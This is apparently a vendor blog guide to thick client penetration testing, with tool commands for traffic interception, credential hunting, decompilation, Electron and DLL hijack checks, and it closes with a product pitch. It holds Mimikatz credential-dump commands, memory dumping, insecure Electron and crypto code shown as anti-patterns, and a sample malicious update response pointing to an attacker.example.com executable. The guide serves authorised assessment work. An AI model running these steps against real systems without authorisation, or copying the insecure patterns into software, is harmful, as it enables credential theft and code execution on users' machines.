Thick Client Penetration Testing: Methodology and Tools Guide

Thick client applications remain a persistent blind spot in enterprise security programmes. While web app pentesting has matured into a well-documented discipline with standardised tooling, thick client assessments still trip up teams that treat them the same as a web engagement. The attack surface is fundamentally different: local filesystem access, binary reversibility, OS-level IPC, DLL load order abuse, and memory resident secrets all come into scope the moment you're dealing with a desktop application.

This guide covers a structured methodology for assessing thick client applications across the four dominant technology stacks — Electron, .NET WinForms/WPF, Java Swing/JavaFX, and Qt — with real tool commands and the specific findings patterns that appear repeatedly in production assessments.

What Is a Thick Client Application?

A thick client (also called a fat client or rich client) is a desktop application that runs natively on the operating system, as opposed to a thin client which delegates most logic to a server. Thick clients may be fully self-contained or they may communicate with a backend over a network protocol.

The technology stack determines your analysis approach almost entirely:

Technology Runtime Primary Analysis Tool Key Risk
Electron Node.js + Chromium DevTools, asar extraction nodeIntegration, RCE via XSS
.NET WinForms/WPF CLR (managed) dnSpy, ILSpy, dotPeek Trivial decompilation, hardcoded secrets
Java Swing/JavaFX JVM (managed) jadx, Fernflower, CFR Trivial decompilation, serialisation
Qt (C++) Native (compiled) Ghidra, IDA, x64dbg Memory analysis, binary reversing

Architecture: Two-Tier vs Three-Tier

Before starting any analysis, establish the application's network architecture. This determines what protocols to intercept and what server-side attack surface exists.

Two-tier (direct database): The thick client connects directly to a database server — typically SQL Server, Oracle, or MySQL. The client application contains the database connection string, credentials, and query logic. This architecture is a goldmine: extract the connection string and you have direct database access, often with an overprivileged account. Look for credentials in config files, the registry, or embedded in the binary.

Three-tier (API backend): The thick client communicates with an intermediate application server — a REST API, SOAP/WS endpoint, gRPC service, or custom TCP protocol. The application logic lives on the server. This is architecturally sounder but the client still handles authentication tokens, session state, and input validation client-side before the API call is made. Bypass the client, call the API directly.

Recon step one: Run netstat -anob (Windows) or ss -tp (Linux) while the application starts. Established connections immediately reveal the backend tier: port 1433/3306/5432 means direct DB; port 443/8443/8080 means API backend; custom high ports often mean proprietary protocols worth reversing.

Network Traffic Analysis

Wireshark for Non-TLS Protocols

For applications using unencrypted protocols (still common on internal networks, legacy industrial software, and two-tier DB connections), Wireshark provides full session visibility. Start a capture on the loopback adapter (lo on Linux, use Npcap's loopback on Windows) to catch local IPC, and on the primary interface for network traffic.

Filter for the application process using display filters. If the application talks to SQL Server on port 1433:

tcp.port == 1433 and not tcp.analysis.flags

TDS (Tabular Data Stream) dissectors in Wireshark will decode SQL Server traffic automatically, showing you queries and responses in cleartext.

Proxying HTTPS Traffic with Burp Suite

Thick clients that use HTTPS to talk to REST APIs need their TLS trust anchors manipulated. The approach depends on how the application validates certificates.

System proxy approach (works for most apps):

  1. Set Burp's proxy listener to 127.0.0.1:8080
  2. Set Windows system proxy to 127.0.0.1:8080 via Internet Options or netsh winhttp set proxy 127.0.0.1:8080
  3. Import Burp's CA certificate into the Windows Certificate Store under Trusted Root Certification Authorities

For applications with certificate pinning or custom trust stores:

# For Java applications — add Burp CA to the JVM truststore
keytool -import -alias burp -keystore $JAVA_HOME/lib/security/cacerts \
  -file burp_ca.der -storepass changeit -noprompt

# For .NET applications — Burp CA in Windows cert store usually suffices
# For pinned certs, use Frida to hook X509Certificate.Equals or
# ServicePointManager.ServerCertificateValidationCallback
frida -l ssl-pinning-bypass.js -f com.target.app --no-pause

Fiddler is an alternative worth knowing — it auto-configures the system proxy and installs its root CA on launch, making it faster for initial triage. But Burp's scanner and repeater make it the better long-term tool once you've identified interesting endpoints.

Intercepting Custom TCP Protocols

When the application uses a proprietary binary protocol, use proxenet or write a simple Python mitm proxy with mitmproxy's TCP mode. For TLS-wrapped custom protocols, use sslstrip at the network layer or Frida hooks at the application layer to intercept post-decryption.

Local Storage Analysis

Thick clients routinely persist sensitive data to disk. Work through each storage location systematically.

SQLite Databases

Electron apps, Firefox-based browsers, and many Java/Qt apps store local data in SQLite. Find databases under %APPDATA%, %LOCALAPPDATA%, and %PROGRAMDATA% on Windows, or ~/.config/, ~/.local/share/ on Linux:

# Find all SQLite files for a given application
Get-ChildItem -Path $env:APPDATA -Recurse -Filter "*.db" -ErrorAction SilentlyContinue
Get-ChildItem -Path $env:LOCALAPPDATA -Recurse -Filter "*.sqlite" -ErrorAction SilentlyContinue

# Linux equivalent
find ~/.config ~/.local/share -name "*.db" -o -name "*.sqlite" 2>/dev/null

# Open and dump schema + sensitive tables
sqlite3 ~/Library/Application\ Support/Slack/Cookies .dump | grep -i "token\|session\|auth"
sqlite3 target.db "SELECT * FROM sessions; SELECT * FROM credentials;"

Windows Registry

Legacy applications and installers routinely write credentials, API keys, and configuration to the registry. Query common hives:

# Search HKCU and HKLM for password-adjacent keys
reg query HKCU\Software\TargetApp /s /f "password" /t REG_SZ
reg query HKLM\Software\TargetApp /s /f "password" /t REG_SZ
reg query HKCU\Software\TargetApp /s /f "token" /t REG_SZ

# Check Windows Credential Manager — often populated by thick clients
cmdkey /list
# Extract with Mimikatz or credman
privilege::debug
sekurlsa::credman

Config Files and %APPDATA%

Walk the application's data directories manually. Common patterns:

# PowerShell: find config files and grep for secrets
$appPath = "$env:APPDATA\TargetApplication"
Get-ChildItem $appPath -Recurse | Where-Object {
    $_.Extension -in '.xml','.json','.ini','.cfg','.config','.properties','.yaml'
} | ForEach-Object {
    $content = Get-Content $_.FullName -ErrorAction SilentlyContinue
    if ($content -match 'password|secret|token|key|credential') {
        Write-Host $_.FullName
        $content | Select-String 'password|secret|token|key|credential'
    }
}

Java applications frequently use .properties files with plaintext database passwords. .NET apps use app.config / web.config with connectionStrings that are often only Base64-encoded, not encrypted.

Binary Analysis

.NET Applications with dnSpy

.NET managed assemblies compile to MSIL (Common Intermediate Language), which is trivially decompiled back to near-source-quality C#. Download dnSpy (or its maintained fork dnSpyEx) and drag the application's .exe or .dll files directly into it.

Focus areas in dnSpy:

# If the assembly is obfuscated, de4dot strips most commercial obfuscators
de4dot.exe TargetApp.exe -o TargetApp-clean.exe

# Then load the clean binary in dnSpy
# For ConfuserEx-protected assemblies:
de4dot.exe TargetApp.exe --strfix --decryptstrings=1

Java Applications with jadx

Java bytecode decompiles cleanly with jadx. For standalone JAR files:

# Decompile entire JAR to source tree
jadx -d output_dir target.jar

# GUI mode for interactive browsing
jadx-gui target.jar

# For Android APKs (same tool)
jadx-gui target.apk

# Search decompiled source for secrets
grep -r "password\|apiKey\|secret\|token\|jdbc:" output_dir/ --include="*.java"

Look specifically at HttpURLConnection and OkHttp client setup code to find hardcoded base URLs, authentication headers, and API keys embedded in request builders.

Native Binaries with Ghidra

For Qt and other C++ applications, the NSA's Ghidra provides decompilation to pseudo-C. Import the binary, let auto-analysis run (10–30 minutes for large binaries), then:

# Before Ghidra: quick strings analysis to identify interesting artifacts
strings -n 8 target.exe | grep -iE "https?://|password|secret|api[_-]?key|jdbc:|BEGIN (RSA|EC|PRIVATE)"

# In Ghidra: use the Symbol Tree to navigate to interesting functions
# Search > For Strings: filter for "password", "secret", URLs
# Right-click interesting strings → References → Show References to get call sites

For Qt applications, the QSettings API writes to the registry on Windows and INI files on Linux — trace calls to QSettings::value() to understand what's being persisted.

Electron Application Testing

Electron deserves its own section because it combines web vulnerabilities (XSS) with native OS access (Node.js APIs), making the impact of seemingly mundane bugs dramatically higher than in a browser context.

Extracting Application Source

Electron apps ship their JavaScript source in an app.asar archive. Extract it to read the full application code:

# Install asar globally
npm install -g @electron/asar

# Find the archive
find /Applications/TargetApp.app -name "app.asar" 2>/dev/null
# Windows: C:\Users\%USERNAME%\AppData\Local\Programs\TargetApp\resources\

# Extract
asar extract app.asar app-source/

# Now grep the JS source directly
grep -r "nodeIntegration\|contextIsolation\|enableRemoteModule\|webSecurity" app-source/
grep -r "eval\|innerHTML\|document\.write\|dangerouslySetInner" app-source/
grep -r "password\|secret\|apiKey\|token" app-source/ --include="*.js" | grep -v node_modules

Critical Electron Security Settings

The BrowserWindow and webPreferences configuration in the main process determines the entire security posture of an Electron app. Look for these flags in the extracted source:

// HIGH SEVERITY — XSS becomes RCE if nodeIntegration is true
new BrowserWindow({
    webPreferences: {
        nodeIntegration: true,        // BAD: renderer can access require()
        contextIsolation: false,      // BAD: no boundary between preload and page
        enableRemoteModule: true,     // BAD: deprecated, exposes main process
        webSecurity: false,           // BAD: disables SOP
        sandbox: false                // BAD: no Chromium sandbox
    }
})

// ALSO CHECK: if contextIsolation:true but preload script
// improperly exposes dangerous APIs via contextBridge
contextBridge.exposeInMainWorld('api', {
    exec: (cmd) => require('child_process').exec(cmd)  // RCE exposed to renderer
})

Remote Debugging Port

Many Electron apps ship with the remote debugging port enabled in development builds, and some accidentally leave it enabled in production releases:

# Check if the app was launched with --inspect or --remote-debugging-port
wmic process where "name='TargetApp.exe'" get CommandLine
ps aux | grep -i "inspect\|remote-debugging"

# If port 9229 (Node inspector) or 9222 (Chrome DevTools) is open:
# Connect from Chrome: chrome://inspect
# Or via command line:
node --inspect-brk=9229  # connects to already-running inspector

# Check for exposed debugging ports
netstat -anob | grep "9229\|9222\|9230"

If the app is listening on these ports, you have full Node.js REPL access to the main process — game over for confidentiality and integrity.

Process Analysis and IPC

Process Monitor (Procmon) for File and Registry Activity

Sysinternals Process Monitor captures every file, registry, network, and process event. Configure it to filter on the target process immediately after launch to capture initialisation behaviour:

Filter rules to add in Procmon:
  Process Name → is → TargetApp.exe → Include
  Operation    → is → RegQueryValue  → Include
  Operation    → is → ReadFile       → Include
  Result       → is → NAME NOT FOUND → Include  (for DLL hijacking)
  Result       → is → SUCCESS        → Include

The NAME NOT FOUND result filter is the DLL hijacking identification filter. Any DLL that the process looks for but doesn't find is a potential hijack candidate if you can write to any directory in the search path.

Process Hacker for IPC and Memory

Process Hacker 2 (or the maintained fork System Informer) provides visibility into handles, threads, memory regions, and IPC mechanisms. For thick client assessment:

DLL Hijacking

DLL hijacking exploits Windows' DLL search order to load an attacker-controlled DLL instead of the intended one. The Windows search order for applications not using manifest-declared paths is:

  1. The directory from which the application loaded
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. The current working directory
  6. Directories listed in the PATH environment variable

The application directory (step 1) is where hijacks most frequently land. If the application loads a DLL that doesn't exist in its own directory and steps 2–4 don't satisfy the load, Windows will check the current working directory — which may be user-writable.

# Procmon filter to find hijackable DLLs:
# Set: Result "is" "NAME NOT FOUND" AND Path "ends with" ".dll"
# Run the app through its full workflow (login, use features, logout)
# Export filtered results to CSV for analysis

# Verify writeability of candidate directories
icacls "C:\Program Files\TargetApp\"
# Look for (W) or (F) permissions for BUILTIN\Users or INTERACTIVE

# Create a proof-of-concept DLL (C, compile with MinGW or MSVC):
# The DLL's DllMain runs as the application's user context
# Impact: persistence, privilege escalation (if app runs as SYSTEM/admin)

CVSSv3 note: DLL hijacking in a user-writable application directory typically scores 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. If the application runs as a privileged service, it escalates to 8.8 (High) with privilege escalation impact.

Authentication and Credential Storage

Credential storage defects are among the most common thick client findings. Work through the following checks in order of severity:

Plaintext and Weak Encoding

# After identifying config file locations via Procmon, search for credentials
# Common patterns in XML/JSON/INI config files:
grep -rE "(<password>|\"password\":|password=|passwd=|pwd=)" \
  "$env:APPDATA\TargetApp" --include="*.xml" --include="*.json" --include="*.ini"

# Base64 is not encryption — decode any suspicious strings
echo "dXNlcjpwYXNzd29yZA==" | base64 -d
# Output: user:password

# Check for hex-encoded credentials
echo "757365723a70617373776f7264" | xxd -r -p

Windows DPAPI Misuse

Applications that use Windows DPAPI correctly (CryptProtectData / ProtectData) tie encrypted blobs to the user account — the OS handles key management. This is acceptable. The misuse patterns to look for are:

Weak Cryptography in Credential Storage

# In dnSpy/.NET: search for these cryptographic anti-patterns
# ECB mode (no IV — identical plaintext produces identical ciphertext)
new AesCryptoServiceProvider { Mode = CipherMode.ECB }

# Hardcoded symmetric key
byte[] key = { 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 };

# MD5 or SHA1 for password hashing (no salt, fast to brute)
MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(password))

# Single-iteration PBKDF2 (computationally trivial to brute)
new Rfc2898DeriveBytes(password, salt, iterations: 1)

Auto-Update Mechanism Attacks

Auto-update systems are a persistent weak point in thick client applications. The threat model is a MITM attacker (or a compromised update CDN) delivering a malicious update package.

What to Test

# Intercept the update check in Burp Suite
# Look for requests to endpoints like /api/update, /version.json, /latest.json
# Modify the response to point to attacker-controlled update package URL

# Example malicious version response
{
  "version": "9.9.9",
  "url": "http://attacker.example.com/update.exe",
  "checksum": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}

# For Electron apps using electron-updater, check for:
# - publisherName verification (ASAR integrity)
# - useMultiplePublishLocations misconfig
# - allowPrerelease: true on stable channels

CVSSv3 for unsigned updates over HTTP: 8.1 (High) — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. High attack complexity because MITM requires network position, but no authentication and full code execution makes this critical in shared network environments.

Memory Analysis

Sensitive data that is never written to disk still lives in process memory — and can be recovered. This is particularly relevant for credentials and session tokens that the application decrypts at runtime.

# Process Hacker: right-click process → Properties → Memory tab
# Click "Strings" → filter minimum length 8 → search for "Bearer", "token", "password"

# Automated memory string extraction with PowerShell
# (requires admin or SeDebugPrivilege)
$proc = Get-Process TargetApp
$handle = [System.Runtime.InteropServices.Marshal]
# Full implementation requires P/Invoke to ReadProcessMemory

# Alternative: use procdump + strings
procdump.exe -ma TargetApp.exe memdump.dmp
strings -n 8 memdump.dmp | grep -iE "bearer|authorization|password|secret"

# For .NET apps: use ClrMD or dotnet-dump for managed heap inspection
dotnet-dump collect -p 
dotnet-dump analyze core_
# > dumpheap -type System.String -stat
# > dumpheap -mt  -min 20

Common Findings and Severity Reference

Finding CVSSv3 Score Severity
Plaintext credentials in config file 7.1 High
Hardcoded API key / DB password in binary 9.1 Critical
Electron: nodeIntegration enabled + XSS 9.6 Critical
Electron: remote debugging port exposed 9.8 Critical
DLL hijacking (user-writable app dir) 7.8 High
Update channel over HTTP (no TLS) 8.1 High
Unsigned update packages 8.1 High
Client-side authorisation bypass (API not enforced server-side) 8.8 High
Sensitive data in process memory (no zeroing) 5.5 Medium
Weak crypto (DES, RC4, ECB mode AES) for stored credentials 7.5 High
Named pipe with weak DACL (impersonation) 7.8 High
Direct DB connection with overprivileged account 9.8 Critical

Remediation Guidance

Credential and Secret Storage

Electron Security Hardening

Binary and Decompilation Protections

Update Mechanism

DLL Hijacking

IPC and Named Pipes

Ironimo covers the API and web layer automatically

Thick client applications almost always have a backend API. Ironimo runs the same tests a professional pentester runs against REST, GraphQL, and SOAP endpoints — authentication bypass, BOLA/IDOR, injection, broken access control — continuously, without scheduling a manual engagement.

While you're doing the binary analysis and memory forensics on the thick client, let Ironimo run concurrent scans against the API backend. Surface mismatches between client-side enforcement and server-side validation before an attacker does.

Start free scan